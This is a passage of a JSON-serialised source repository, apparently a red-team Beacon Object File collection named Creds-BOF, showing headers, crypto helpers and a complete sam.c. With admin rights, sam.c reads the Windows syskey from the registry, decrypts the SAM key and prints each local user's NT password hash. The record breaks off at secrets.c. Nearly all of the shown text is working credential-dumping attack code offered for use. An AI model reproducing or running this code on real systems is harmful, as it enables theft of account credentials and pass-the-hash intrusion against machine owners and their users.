    "content": "/*\n * lsadump.h - Common definitions for lsadump BOFs\n * by shashinma\n */\n\n#ifndef LSADUMP_H\n#define LSADUMP_H\n\n#include <windows.h>\n#include \"beacon.h\"\n#include \"bofdefs.h\"\n\n// ============================================================================\n// Common Constants\n// ============================================================================\n\n#define SYSKEY_LENGTH           16\n#define AES_128_KEY_SIZE        16\n#define AES_256_KEY_SIZE        32\n#define LAZY_NT6_IV_SIZE        32\n#define SHA_DIGEST_LENGTH       20\n#define MD4_DIGEST_LENGTH       16\n#define LM_NTLM_HASH_LENGTH     16\n\n#define PROV_RSA_AES            24\n#define CRYPT_VERIFYCONTEXT     0xF0000000\n\n#define CALG_SHA_256            0x0000800c\n#define CALG_SHA1               0x00008004\n#define CALG_MD4                0x00008002\n#define CALG_AES_256            0x00006610\n#define CALG_AES_128            0x0000660e\n#define CALG_DES                0x00006601\n\n#define HP_HASHVAL              0x0002\n#define KP_MODE                 4\n#define KP_IV                   1\n#define CRYPT_MODE_ECB          2\n#define CRYPT_MODE_CBC          1\n\n#define SIZE_ALIGN(size, alignment) (((size) + (alignment - 1)) & ~(alignment - 1))\n\n// ============================================================================\n// Syskey Permutation Table\n// ============================================================================\n\nstatic const BYTE SYSKEY_PERMUT[] = {\n    0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00,\n    0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04\n};\n\n// ============================================================================\n// Common Structures\n// ============================================================================\n\n#pragma pack(push, 1)\ntypedef struct _AES_KEY_BLOB {\n    BLOBHEADER header;\n    DWORD keySize;\n    BYTE key[32];\n} AES_KEY_BLOB;\n\ntypedef struct _AES128_KEY_BLOB {\n    BLOBHEADER header;\n    DWORD keySize;\n    BYTE key[16];\n} AES128_KEY_BLOB;\n#pragma pack(pop)\n\n#endif // LSADUMP_H\n"
  },
  {
    "path": "Creds-BOF/lsadump/include/sam.h",
    "content": "/*\n * sam.h - SAM-specific definitions for lsadump_sam BOF\n * by shashinma\n */\n\n#ifndef LSADUMP_SAM_H\n#define LSADUMP_SAM_H\n\n#include \"lsadump.h\"\n\n// ============================================================================\n// DES Parity Table\n// ============================================================================\n\nstatic const BYTE ODD_PARITY[] = {\n    1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,\n    16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,\n    32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,\n    49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,\n    64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,\n    81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,\n    97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, 107, 109, 109, 110, 110,\n    112, 112, 115, 115, 117, 117, 118, 118, 121, 121, 122, 122, 124, 124, 127, 127,\n    128, 128, 131, 131, 133, 133, 134, 134, 137, 137, 138, 138, 140, 140, 143, 143,\n    145, 145, 146, 146, 148, 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158,\n    161, 161, 162, 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174,\n    176, 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191, 191,\n    193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205, 205, 206, 206,\n    208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218, 218, 220, 220, 223, 223,\n    224, 224, 227, 227, 229, 229, 230, 230, 233, 233, 234, 234, 236, 236, 239, 239,\n    241, 241, 242, 242, 244, 244, 247, 247, 248, 248, 251, 251, 253, 253, 254, 254\n};\n\n// ============================================================================\n// SAM Structures\n// ============================================================================\n\n#pragma pack(push, 1)\ntypedef struct _DES_KEY_BLOB {\n    BLOBHEADER header;\n    DWORD keySize;\n    BYTE key[8];\n} DES_KEY_BLOB;\n\ntypedef struct _OLD_LARGE_INTEGER {\n    DWORD LowPart;\n    LONG HighPart;\n} OLD_LARGE_INTEGER;\n\ntypedef struct _SAM_KEY_DATA {\n    DWORD Revision;\n    DWORD Length;\n    BYTE Salt[16];\n    BYTE Key[16];\n    BYTE CheckSum[16];\n    DWORD unk0;\n    DWORD unk1;\n} SAM_KEY_DATA;\n\ntypedef struct _SAM_KEY_DATA_AES {\n    DWORD Revision;\n    DWORD Length;\n    DWORD CheckLen;\n    DWORD DataLen;\n    BYTE Salt[16];\n    BYTE data[32];\n} SAM_KEY_DATA_AES;\n\ntypedef struct _DOMAIN_ACCOUNT_F {\n    WORD Revision;\n    WORD unk0;\n    DWORD unk1;\n    OLD_LARGE_INTEGER CreationTime;\n    OLD_LARGE_INTEGER DomainModifiedCount;\n    OLD_LARGE_INTEGER MaxPasswordAge;\n    OLD_LARGE_INTEGER MinPasswordAge;\n    OLD_LARGE_INTEGER ForceLogoff;\n    OLD_LARGE_INTEGER LockoutDuration;\n    OLD_LARGE_INTEGER LockoutObservationWindow;\n    OLD_LARGE_INTEGER ModifiedCountAtLastPromotion;\n    DWORD NextRid;\n    DWORD PasswordProperties;\n    WORD MinPasswordLength;\n    WORD PasswordHistoryLength;\n    WORD LockoutThreshold;\n    WORD unk2;\n    DWORD ServerState;\n    DWORD ServerRole;\n    DWORD UasCompatibilityRequired;\n    DWORD unk3;\n    SAM_KEY_DATA keys1;\n    SAM_KEY_DATA keys2;\n    DWORD unk4;\n    DWORD unk5;\n} DOMAIN_ACCOUNT_F;\n#pragma pack(pop)\n\n#endif // LSADUMP_SAM_H\n"
  },
  {
    "path": "Creds-BOF/lsadump/include/secrets.h",
    "content": "/*\n * secrets.h - LSA Secrets-specific definitions for lsadump_secrets BOF\n * by shashinma\n */\n\n#ifndef LSADUMP_SECRETS_H\n#define LSADUMP_SECRETS_H\n\n#include \"lsadump.h\"\n\n// ============================================================================\n// LSA Structure Offsets (packed)\n// ============================================================================\n\n// PolEKList offsets\n#define OFF_VERSION             0\n#define OFF_KEYID               4\n#define OFF_ALGORITHM           20\n#define OFF_FLAG                24\n#define OFF_LAZYIV              28\n#define OFF_ENCRYPTED           60\n\n// NT6_CLEAR_SECRET offsets\n#define OFF_SECRET_SIZE         0\n#define OFF_SECRET_DATA         16\n\n// NT6_SYSTEM_KEYS offsets  \n#define OFF_KEYS_UNKTYPE0       0\n#define OFF_KEYS_CURRENTKEYID   4\n#define OFF_KEYS_UNKTYPE1       20\n#define OFF_KEYS_NBKEYS         24\n#define OFF_KEYS_KEYS           28\n\n// NT6_SYSTEM_KEY offsets\n#define OFF_KEY_KEYID           0\n#define OFF_KEY_KEYTYPE         16\n#define OFF_KEY_KEYSIZE         20\n#define OFF_KEY_KEY             24\n\n// ============================================================================\n// LSA Keys Info Structure\n// ============================================================================\n\ntypedef struct _LSA_KEYS_INFO {\n    PBYTE keys;\n    DWORD nbKeys;\n    BYTE currentKeyId[16];\n    BYTE currentKey[64];\n    DWORD currentKeySize;\n} LSA_KEYS_INFO;\n\n#endif // LSADUMP_SECRETS_H\n"
  },
  {
    "path": "Creds-BOF/lsadump/lsadump_helper.c",
    "content": "/*\n * common.c - Shared helper functions for lsadump BOFs\n * by shashinma\n * \n * This file is #included by each lsadump module\n */\n\n#include \"include/lsadump.h\"\n\n// ============================================================================\n// Helper Functions\n// ============================================================================\n\nstatic void FormatHex(const BYTE* data, DWORD len, char* hexStr, DWORD hexStrSize) {\n    DWORD i, pos = 0;\n    if (len > 200) len = 200;\n    for (i = 0; i < len && pos < hexStrSize - 3; i++) {\n        hexStr[pos++] = \"0123456789abcdef\"[(data[i] >> 4) & 0xF];\n        hexStr[pos++] = \"0123456789abcdef\"[data[i] & 0xF];\n    }\n    hexStr[pos] = '\\0';\n}\n\nstatic BOOL HexCharToNibble(wchar_t c, BYTE* nibble) {\n    if (c >= L'0' && c <= L'9') { *nibble = (BYTE)(c - L'0'); return TRUE; }\n    if (c >= L'a' && c <= L'f') { *nibble = (BYTE)(c - L'a' + 10); return TRUE; }\n    if (c >= L'A' && c <= L'F') { *nibble = (BYTE)(c - L'A' + 10); return TRUE; }\n    return FALSE;\n}\n\nstatic BOOL HexStringToDword(const wchar_t* hexStr, DWORD hexLen, BYTE* outBytes) {\n    DWORD value = 0, i;\n    BYTE nibble;\n    if (hexLen != 8) return FALSE;\n    for (i = 0; i < 8; i++) {\n        if (!HexCharToNibble(hexStr[i], &nibble)) return FALSE;\n        value = (value << 4) | nibble;\n    }\n    outBytes[0] = (BYTE)(value & 0xFF);\n    outBytes[1] = (BYTE)((value >> 8) & 0xFF);\n    outBytes[2] = (BYTE)((value >> 16) & 0xFF);\n    outBytes[3] = (BYTE)((value >> 24) & 0xFF);\n    return TRUE;\n}\n\n// ============================================================================\n// Memory Functions\n// ============================================================================\n\nstatic LPVOID AllocMem(SIZE_T size) {\n    return KERNEL32$VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\n}\n\nstatic void FreeMem(LPVOID ptr) {\n    if (ptr) KERNEL32$VirtualFree(ptr, 0, MEM_RELEASE);\n}\n\n// ============================================================================\n// Registry Functions\n// ============================================================================\n\nstatic DWORD GetCurrentControlSet(HKEY hSystem) {\n    HKEY hSelect;\n    DWORD current = 1, size = sizeof(current);\n    if (ADVAPI32$RegOpenKeyExW(hSystem, L\"Select\", 0, KEY_READ, &hSelect) == ERROR_SUCCESS) {\n        ADVAPI32$RegQueryValueExW(hSelect, L\"Current\", NULL, NULL, (LPBYTE)&current, &size);\n        ADVAPI32$RegCloseKey(hSelect);\n    }\n    return current;\n}\n\nstatic BOOL GetSyskey(HKEY hSystem, BYTE sysKey[SYSKEY_LENGTH]) {\n    DWORD controlSet;\n    wchar_t lsaPath[64];\n    HKEY hLsa;\n    const wchar_t* subKeys[] = { L\"JD\", L\"Skew1\", L\"GBG\", L\"Data\" };\n    BYTE rawKey[SYSKEY_LENGTH];\n    DWORD i;\n\n    controlSet = GetCurrentControlSet(hSystem);\n    MSVCRT$swprintf_s(lsaPath, 64, L\"ControlSet%03u\\\\Control\\\\Lsa\", controlSet);\n\n    if (ADVAPI32$RegOpenKeyExW(hSystem, lsaPath, 0, KEY_READ, &hLsa) != ERROR_SUCCESS)\n        return FALSE;\n\n    for (i = 0; i < 4; i++) {\n        HKEY hSub;\n        wchar_t classData[16];\n        DWORD classLen = 16;\n\n        if (ADVAPI32$RegOpenKeyExW(hLsa, subKeys[i], 0, KEY_READ, &hSub) != ERROR_SUCCESS) {\n            ADVAPI32$RegCloseKey(hLsa);\n            return FALSE;\n        }\n\n        if (ADVAPI32$RegQueryInfoKeyW(hSub, classData, &classLen, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL) != ERROR_SUCCESS) {\n            ADVAPI32$RegCloseKey(hSub);\n            ADVAPI32$RegCloseKey(hLsa);\n            return FALSE;\n        }\n\n        if (!HexStringToDword(classData, 8, &rawKey[i * 4])) {\n            ADVAPI32$RegCloseKey(hSub);\n            ADVAPI32$RegCloseKey(hLsa);\n            return FALSE;\n        }\n\n        ADVAPI32$RegCloseKey(hSub);\n    }\n\n    ADVAPI32$RegCloseKey(hLsa);\n\n    for (i = 0; i < SYSKEY_LENGTH; i++)\n        sysKey[i] = rawKey[SYSKEY_PERMUT[i]];\n\n    return TRUE;\n}\n\n// ============================================================================\n// Crypto: SHA-256 based Key Derivation\n// ============================================================================\n\nstatic BOOL DeriveKey(HCRYPTPROV hProv, const BYTE* key, DWORD keyLen, \n                      const BYTE* iv, DWORD ivLen, DWORD iterations,\n                      BYTE* outKey, DWORD outKeyLen) {\n    HCRYPTHASH hHash = 0;\n    DWORD hashLen = 32;\n    DWORD i;\n\n    (void)outKeyLen;\n\n    if (!ADVAPI32$CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash))\n        return FALSE;\n\n    if (!ADVAPI32$CryptHashData(hHash, key, keyLen, 0)) {\n        ADVAPI32$CryptDestroyHash(hHash);\n        return FALSE;\n    }\n\n    for (i = 0; i < iterations; i++) {\n        if (!ADVAPI32$CryptHashData(hHash, iv, ivLen, 0)) {\n            ADVAPI32$CryptDestroyHash(hHash);\n            return FALSE;\n        }\n    }\n\n    if (!ADVAPI32$CryptGetHashParam(hHash, HP_HASHVAL, outKey, &hashLen, 0)) {\n        ADVAPI32$CryptDestroyHash(hHash);\n        return FALSE;\n    }\n\n    ADVAPI32$CryptDestroyHash(hHash);\n    return TRUE;\n}\n\n// ============================================================================\n// Crypto: AES-256 ECB Decryption\n// ============================================================================\n\nstatic BOOL DecryptAES256_ECB(HCRYPTPROV hProv, const BYTE* key, \n                               const BYTE* encrypted, DWORD encLen,\n                               BYTE* decrypted) {\n    AES_KEY_BLOB keyBlob;\n    HCRYPTKEY hKey = 0;\n    DWORD decLen = encLen;\n    DWORD mode = CRYPT_MODE_ECB;\n\n    keyBlob.header.bType = PLAINTEXTKEYBLOB;\n    keyBlob.header.bVersion = CUR_BLOB_VERSION;\n    keyBlob.header.reserved = 0;\n    keyBlob.header.aiKeyAlg = CALG_AES_256;\n    keyBlob.keySize = AES_256_KEY_SIZE;\n    MSVCRT$memcpy(keyBlob.key, key, AES_256_KEY_SIZE);\n\n    if (!ADVAPI32$CryptImportKey(hProv, (BYTE*)&keyBlob, sizeof(keyBlob), 0, 0, &hKey))\n        return FALSE;\n\n    ADVAPI32$CryptSetKeyParam(hKey, KP_MODE, (BYTE*)&mode, 0);\n\n    MSVCRT$memcpy(decrypted, encrypted, encLen);\n    if (!ADVAPI32$CryptDecrypt(hKey, 0, FALSE, 0, decrypted, &decLen)) {\n        ADVAPI32$CryptDestroyKey(hKey);\n        return FALSE;\n    }\n\n    ADVAPI32$CryptDestroyKey(hKey);\n    return TRUE;\n}\n\n// ============================================================================\n// Crypto: AES-128 CBC Decryption\n// ============================================================================\n\nstatic BOOL DecryptAES128_CBC(HCRYPTPROV hProv, const BYTE* key, const BYTE* iv,\n                               const BYTE* encrypted, DWORD encLen, BYTE* decrypted) {\n    AES128_KEY_BLOB keyBlob;\n    HCRYPTKEY hKey = 0;\n    DWORD decLen = encLen;\n    DWORD mode = CRYPT_MODE_CBC;\n\n    keyBlob.header.bType = PLAINTEXTKEYBLOB;\n    keyBlob.header.bVersion = CUR_BLOB_VERSION;\n    keyBlob.header.reserved = 0;\n    keyBlob.header.aiKeyAlg = CALG_AES_128;\n    keyBlob.keySize = AES_128_KEY_SIZE;\n    MSVCRT$memcpy(keyBlob.key, key, AES_128_KEY_SIZE);\n\n    if (!ADVAPI32$CryptImportKey(hProv, (BYTE*)&keyBlob, sizeof(keyBlob), 0, 0, &hKey))\n        return FALSE;\n\n    ADVAPI32$CryptSetKeyParam(hKey, KP_MODE, (BYTE*)&mode, 0);\n    ADVAPI32$CryptSetKeyParam(hKey, KP_IV, (BYTE*)iv, 0);\n\n    MSVCRT$memcpy(decrypted, encrypted, encLen);\n    if (!ADVAPI32$CryptDecrypt(hKey, 0, FALSE, 0, decrypted, &decLen)) {\n        ADVAPI32$CryptDestroyKey(hKey);\n        return FALSE;\n    }\n\n    ADVAPI32$CryptDestroyKey(hKey);\n    return TRUE;\n}\n"
  },
  {
    "path": "Creds-BOF/lsadump/sam.c",
    "content": "/*\n * lsadump_sam BOF by shashinma\n * Dumps SAM hashes directly from registry\n * Requires admin privileges\n */\n\n#include \"include/sam.h\"\n#include \"lsadump_helper.c\"\n\n// ============================================================================\n// Crypto: DES ECB Decryption\n// ============================================================================\n\nstatic BOOL DecryptDES_ECB(HCRYPTPROV hProv, const BYTE* key8, \n                            const BYTE* encrypted, DWORD encLen,\n                            BYTE* decrypted) {\n    DES_KEY_BLOB keyBlob;\n    HCRYPTKEY hKey = 0;\n    DWORD decLen = encLen;\n    DWORD mode = CRYPT_MODE_ECB;\n\n    keyBlob.header.bType = PLAINTEXTKEYBLOB;\n    keyBlob.header.bVersion = CUR_BLOB_VERSION;\n    keyBlob.header.reserved = 0;\n    keyBlob.header.aiKeyAlg = CALG_DES;\n    keyBlob.keySize = 8;\n    MSVCRT$memcpy(keyBlob.key, key8, 8);\n\n    if (!ADVAPI32$CryptImportKey(hProv, (BYTE*)&keyBlob, sizeof(keyBlob), 0, 0, &hKey))\n        return FALSE;\n\n    ADVAPI32$CryptSetKeyParam(hKey, KP_MODE, (BYTE*)&mode, 0);\n\n    MSVCRT$memcpy(decrypted, encrypted, encLen);\n    if (!ADVAPI32$CryptDecrypt(hKey, 0, FALSE, 0, decrypted, &decLen)) {\n        ADVAPI32$CryptDestroyKey(hKey);\n        return FALSE;\n    }\n\n    ADVAPI32$CryptDestroyKey(hKey);\n    return TRUE;\n}\n\n// ============================================================================\n// SAM Key Extraction\n// ============================================================================\n\nstatic BOOL GetSamKey(HKEY hSam, const BYTE sysKey[SYSKEY_LENGTH], BYTE samKey[SYSKEY_LENGTH], HCRYPTPROV hProv) {\n    HKEY hAccount;\n    DWORD size, type;\n    BYTE* fData = NULL;\n    BYTE decrypted[32];\n    LONG res;\n    DOMAIN_ACCOUNT_F* pDomAccF;\n    SAM_KEY_DATA_AES* pAesKey;\n\n    res = ADVAPI32$RegOpenKeyExW(hSam, L\"SAM\\\\Domains\\\\Account\", 0, KEY_READ, &hAccount);\n    if (res != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] RegOpenKeyEx SAM\\\\Domains\\\\Account failed: %d\\n\", res);\n        return FALSE;\n    }\n\n    size = 0;\n    ADVAPI32$RegQueryValueExW(hAccount, L\"F\", NULL, &type, NULL, &size);\n    if (size < sizeof(DOMAIN_ACCOUNT_F)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] F value size %u < expected %u\\n\", size, (DWORD)sizeof(DOMAIN_ACCOUNT_F));\n        ADVAPI32$RegCloseKey(hAccount);\n        return FALSE;\n    }\n\n    fData = (BYTE*)AllocMem(size);\n    if (!fData) { ADVAPI32$RegCloseKey(hAccount); return FALSE; }\n\n    res = ADVAPI32$RegQueryValueExW(hAccount, L\"F\", NULL, NULL, fData, &size);\n    ADVAPI32$RegCloseKey(hAccount);\n    if (res != ERROR_SUCCESS) { FreeMem(fData); return FALSE; }\n\n    pDomAccF = (DOMAIN_ACCOUNT_F*)fData;\n    if (pDomAccF->Revision != 2 && pDomAccF->Revision != 3) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Unknown DOMAIN_ACCOUNT_F Revision: %u\\n\", pDomAccF->Revision);\n        FreeMem(fData);\n        return FALSE;\n    }\n\n    if (pDomAccF->keys1.Revision == 2) {\n        pAesKey = (SAM_KEY_DATA_AES*)&pDomAccF->keys1;\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] SAM key AES: DataLen=%u\\n\", pAesKey->DataLen);\n        if (!DecryptAES128_CBC(hProv, sysKey, pAesKey->Salt, pAesKey->data, pAesKey->DataLen, decrypted)) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] DecryptAES128_CBC failed\\n\");\n            FreeMem(fData);\n            return FALSE;\n        }\n        MSVCRT$memcpy(samKey, decrypted, 16);\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Unknown SAM key Revision: %u (expected 2 for AES)\\n\", pDomAccF->keys1.Revision);\n        FreeMem(fData);\n        return FALSE;\n    }\n\n    FreeMem(fData);\n    return TRUE;\n}\n\n// ============================================================================\n// DES Key Generation from RID\n// ============================================================================\n\nstatic void DesKeyFromSid(DWORD rid, BYTE key1[8], BYTE key2[8]) {\n    BYTE s1[7], s2[7];\n    s1[0] = (BYTE)(rid & 0xff);\n    s1[1] = (BYTE)((rid >> 8) & 0xff);\n    s1[2] = (BYTE)((rid >> 16) & 0xff);\n    s1[3] = (BYTE)((rid >> 24) & 0xff);\n    s1[4] = s1[0]; s1[5] = s1[1]; s1[6] = s1[2];\n    s2[0] = s1[3]; s2[1] = s1[0]; s2[2] = s1[1]; s2[3] = s1[2];\n    s2[4] = s2[0]; s2[5] = s2[1]; s2[6] = s2[2];\n\n    key1[0] = ODD_PARITY[(s1[0] >> 1) << 1];\n    key1[1] = ODD_PARITY[(((s1[0] & 0x01) << 6) | (s1[1] >> 2)) << 1];\n    key1[2] = ODD_PARITY[(((s1[1] & 0x03) << 5) | (s1[2] >> 3)) << 1];\n    key1[3] = ODD_PARITY[(((s1[2] & 0x07) << 4) | (s1[3] >> 4)) << 1];\n    key1[4] = ODD_PARITY[(((s1[3] & 0x0F) << 3) | (s1[4] >> 5)) << 1];\n    key1[5] = ODD_PARITY[(((s1[4] & 0x1F) << 2) | (s1[5] >> 6)) << 1];\n    key1[6] = ODD_PARITY[(((s1[5] & 0x3F) << 1) | (s1[6] >> 7)) << 1];\n    key1[7] = ODD_PARITY[(s1[6] & 0x7F) << 1];\n\n    key2[0] = ODD_PARITY[(s2[0] >> 1) << 1];\n    key2[1] = ODD_PARITY[(((s2[0] & 0x01) << 6) | (s2[1] >> 2)) << 1];\n    key2[2] = ODD_PARITY[(((s2[1] & 0x03) << 5) | (s2[2] >> 3)) << 1];\n    key2[3] = ODD_PARITY[(((s2[2] & 0x07) << 4) | (s2[3] >> 4)) << 1];\n    key2[4] = ODD_PARITY[(((s2[3] & 0x0F) << 3) | (s2[4] >> 5)) << 1];\n    key2[5] = ODD_PARITY[(((s2[4] & 0x1F) << 2) | (s2[5] >> 6)) << 1];\n    key2[6] = ODD_PARITY[(((s2[5] & 0x3F) << 1) | (s2[6] >> 7)) << 1];\n    key2[7] = ODD_PARITY[(s2[6] & 0x7F) << 1];\n}\n\n// ============================================================================\n// NT Hash Decryption\n// ============================================================================\n\nstatic BOOL DecryptNtHash(const BYTE* vData, DWORD vSize, const BYTE samKey[16], DWORD rid, \n                          BYTE ntHash[16], HCRYPTPROV hProv) {\n    DWORD ntOffset, ntLength;\n    BYTE* hashData;\n    BYTE encryptedHash[16];\n    BYTE desKey1[8], desKey2[8];\n    \n    if (vSize < 0xA8 + 8) return FALSE;\n    \n    ntOffset = *(DWORD*)(vData + 0xA8) + 0xCC;\n    ntLength = *(DWORD*)(vData + 0xA8 + 4);\n    \n    if (ntLength < 4 || ntOffset + ntLength > vSize) return FALSE;\n    \n    hashData = (BYTE*)(vData + ntOffset);\n    \n    if (ntLength <= 24) return FALSE;\n    \n    WORD revision = *(WORD*)(hashData + 2);\n    \n    if (revision == 2) {\n        BYTE aesIv[16];\n        BYTE decrypted[32];\n        DWORD encDataLen = ntLength - 24;\n        \n        MSVCRT$memcpy(aesIv, hashData + 8, 16);\n        if (!DecryptAES128_CBC(hProv, samKey, aesIv, hashData + 24, encDataLen, decrypted))\n            return FALSE;\n        MSVCRT$memcpy(encryptedHash, decrypted, 16);\n    } else {\n        return FALSE;\n    }\n    \n    DesKeyFromSid(rid, desKey1, desKey2);\n    \n    if (!DecryptDES_ECB(hProv, desKey1, encryptedHash, 8, ntHash) ||\n        !DecryptDES_ECB(hProv, desKey2, encryptedHash + 8, 8, ntHash + 8))\n        return FALSE;\n    \n    return TRUE;\n}\n\n// ============================================================================\n// User Enumeration\n// ============================================================================\n\nstatic void EnumerateUsers(HKEY hSam, const BYTE samKey[16], HCRYPTPROV hProv) {\n    HKEY hUsers;\n    DWORD numSubKeys, maxKeyLen, i;\n    wchar_t* keyName = NULL;\n    DWORD keyNameLen;\n    LONG res;\n    DWORD userCount = 0;\n\n    res = ADVAPI32$RegOpenKeyExW(hSam, L\"SAM\\\\Domains\\\\Account\\\\Users\", 0, KEY_READ, &hUsers);\n    if (res != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to open Users: %d\\n\", res);\n        return;\n    }\n\n    ADVAPI32$RegQueryInfoKeyW(hUsers, NULL, NULL, NULL, &numSubKeys, &maxKeyLen, NULL, NULL, NULL, NULL, NULL, NULL);\n    \n    maxKeyLen++;\n    keyName = (wchar_t*)AllocMem((maxKeyLen + 1) * sizeof(wchar_t));\n    if (!keyName) { ADVAPI32$RegCloseKey(hUsers); return; }\n\n    for (i = 0; i < numSubKeys; i++) {\n        HKEY hUser;\n        DWORD rid;\n        BYTE* vData = NULL;\n        DWORD vSize, type, usernameOffset, usernameLen, j;\n        wchar_t* username;\n        BYTE ntHash[16];\n        char usernameA[128];\n\n        keyNameLen = maxKeyLen;\n        if (ADVAPI32$RegEnumKeyExW(hUsers, i, keyName, &keyNameLen, NULL, NULL, NULL, NULL) != ERROR_SUCCESS) continue;\n        if (MSVCRT$_wcsicmp(keyName, L\"Names\") == 0) continue;\n\n        rid = MSVCRT$wcstoul(keyName, NULL, 16);\n        if (rid == 0) continue;\n\n        if (ADVAPI32$RegOpenKeyExW(hUsers, keyName, 0, KEY_READ, &hUser) != ERROR_SUCCESS) continue;\n\n        vSize = 0;\n        ADVAPI32$RegQueryValueExW(hUser, L\"V\", NULL, &type, NULL, &vSize);\n        if (vSize == 0) { ADVAPI32$RegCloseKey(hUser); continue; }\n\n        vData = (BYTE*)AllocMem(vSize);\n        if (!vData) { ADVAPI32$RegCloseKey(hUser); continue; }\n\n        if (ADVAPI32$RegQueryValueExW(hUser, L\"V\", NULL, NULL, vData, &vSize) != ERROR_SUCCESS) {\n            FreeMem(vData);\n            ADVAPI32$RegCloseKey(hUser);\n            continue;\n        }\n        ADVAPI32$RegCloseKey(hUser);\n\n        if (vSize < 0x0C + 8) { FreeMem(vData); continue; }\n\n        usernameOffset = *(DWORD*)(vData + 0x0C) + 0xCC;\n        usernameLen = *(DWORD*)(vData + 0x0C + 4);\n\n        if (usernameOffset + usernameLen > vSize || usernameLen == 0) { FreeMem(vData); continue; }\n\n        username = (wchar_t*)(vData + usernameOffset);\n        for (j = 0; j < usernameLen / 2 && j < 127; j++)\n            usernameA[j] = (char)username[j];\n        usernameA[j] = '\\0';\n\n        if (DecryptNtHash(vData, vSize, samKey, rid, ntHash, hProv)) {\n            char hashStr[64];\n            FormatHex(ntHash, 16, hashStr, sizeof(hashStr));\n            BeaconPrintf(CALLBACK_OUTPUT, \"%s:%d:%s\\n\", usernameA, rid, hashStr);\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"%s:%d:<empty>\\n\", usernameA, rid);\n        }\n        userCount++;\n        FreeMem(vData);\n    }\n\n    FreeMem(keyName);\n    ADVAPI32$RegCloseKey(hUsers);\n    BeaconPrintf(CALLBACK_OUTPUT, \"\\n[+] %u user(s)\\n\", userCount);\n}\n\n// ============================================================================\n// Entry Point\n// ============================================================================\n\nvoid go(char* args, int len) {\n    (void)args; (void)len;\n    \n    HKEY hSystem = NULL, hSam = NULL;\n    BYTE sysKey[SYSKEY_LENGTH];\n    BYTE samKey[SYSKEY_LENGTH];\n    LONG res;\n    HCRYPTPROV hProv = 0;\n    char hexStr[64];\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"\\n=== lsadump::sam ===\\n\\n\");\n\n    if (!ADVAPI32$CryptAcquireContextA(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] CryptAcquireContext failed\\n\");\n        return;\n    }\n\n    res = ADVAPI32$RegOpenKeyExW(HKEY_LOCAL_MACHINE, L\"SYSTEM\", 0, KEY_READ, &hSystem);\n    if (res != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to open SYSTEM: %d\\n\", res);\n        ADVAPI32$CryptReleaseContext(hProv, 0);\n        return;\n    }\n\n    if (!GetSyskey(hSystem, sysKey)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to extract syskey\\n\");\n        ADVAPI32$RegCloseKey(hSystem);\n        ADVAPI32$CryptReleaseContext(hProv, 0);\n        return;\n    }\n    FormatHex(sysKey, SYSKEY_LENGTH, hexStr, sizeof(hexStr));\n    BeaconPrintf(CALLBACK_OUTPUT, \"Syskey: %s\\n\", hexStr);\n    ADVAPI32$RegCloseKey(hSystem);\n\n    res = ADVAPI32$RegOpenKeyExW(HKEY_LOCAL_MACHINE, L\"SAM\", 0, KEY_READ, &hSam);\n    if (res != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to open SAM: %d\\n\", res);\n        ADVAPI32$CryptReleaseContext(hProv, 0);\n        return;\n    }\n\n    if (!GetSamKey(hSam, sysKey, samKey, hProv)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to decrypt SAM key\\n\");\n        ADVAPI32$RegCloseKey(hSam);\n        ADVAPI32$CryptReleaseContext(hProv, 0);\n        return;\n    }\n    FormatHex(samKey, SYSKEY_LENGTH, hexStr, sizeof(hexStr));\n    BeaconPrintf(CALLBACK_OUTPUT, \"SAMKey: %s\\n\", hexStr);\n    BeaconPrintf(CALLBACK_OUTPUT, \"\\n\");\n\n    EnumerateUsers(hSam, samKey, hProv);\n\n    ADVAPI32$RegCloseKey(hSam);\n    ADVAPI32$CryptReleaseContext(hProv, 0);\n}\n"
  },
  {
    "path": "Creds-BOF/lsadump/secrets.c",
